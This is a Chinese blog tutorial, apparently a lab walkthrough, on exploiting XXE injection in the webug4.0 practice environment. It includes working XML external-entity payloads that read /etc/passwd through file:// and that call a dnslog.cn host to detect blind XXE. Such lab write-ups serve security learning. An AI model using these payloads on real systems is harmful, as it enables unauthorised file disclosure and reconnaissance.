webug4.0之xxe注入

48 阅读 0 评论 32 点赞

我是靠谱客的博主高贵台灯，最近开发中收集的这篇文章主要介绍webug4.0之xxe注入，觉得挺不错的，现在分享给大家，希望可以做个参考。

概述

关于xxe漏洞，传送门 -》xxe漏洞详解

1. 页面观察

让我们登录，我们随便输入一个字符如admin，观察页面，出现了xml有关的东西，我们就要怀疑存在xml注入

2. 看是否能解析xml数据

这里我们使用burpsuite截取数据包，更好的观察。将以下的测试语句提交到输入框中，如果程序能输出 “my name is nMask”则说明能都解析xml数据


    
    
      
      
       
       
      
      
      
      
       
       
        
        <?xml version="1.0" encoding="UTF-8"?> 
       
       
      
      

      
      
       
       
      
      
      
      
       
       
        
        <!DOCTYPE root [ 
       
       
      
      

      
      
       
       
      
      
      
      
       
       
        
        <!ENTITY name "my name is nMask">]>
       
       
      
      

      
      
       
       
      
      
      
      
       
       
        
        <root>
        
        &name;
        
        </root>

其对我们的输入的语句进行了URL编码，且程序正确解析了xml数据

2. 读取文件

利用file协议读取/etc/passwd文件，使用burp提交的话需要URL编码


    
    
      
      
       
       
      
      
      
      
       
       
        
        <?xml version="1.0" encoding="gb2312"?>
       
       
      
      

      
      
       
       
      
      
      
      
       
       
        
        <!DOCTYPE a [
       
       
      
      

      
      
       
       
      
      
      
      
       
       
        
        <!ENTITY test SYSTEM "file:///etc/passwd">
       
       
      
      

      
      
       
       
      
      
      
      
       
       
        
        ]>
       
       
      
      

      
      
       
       
      
      
      
      
       
       
        
        <a>
        
        &test;
        
        </a>

以上是有回显我们才能看到文件被读取才知道存在xxe漏洞，那假如没有回显了，我们可以使用dnslog来探测是否存在xxe漏洞

3. dnslog探测是否存在xxe漏洞


    
    
      
      
       
       
      
      
      
      
       
       
        
        <?xml version="1.0" encoding="gb2312"?>
       
       
      
      

      
      
       
       
      
      
      
      
       
       
        
        <!DOCTYPE a [
       
       
      
      

      
      
       
       
      
      
      
      
       
       
        
        <!ENTITY xhh SYSTEM "http://r4p4om.dnslog.cn">
       
       
      
      

      
      
       
       
      
      
      
      
       
       
        
        ]>
       
       
      
      

      
      
       
       
      
      
      
      
       
       
        
        <a>
        
        &xhh;
        
        </a>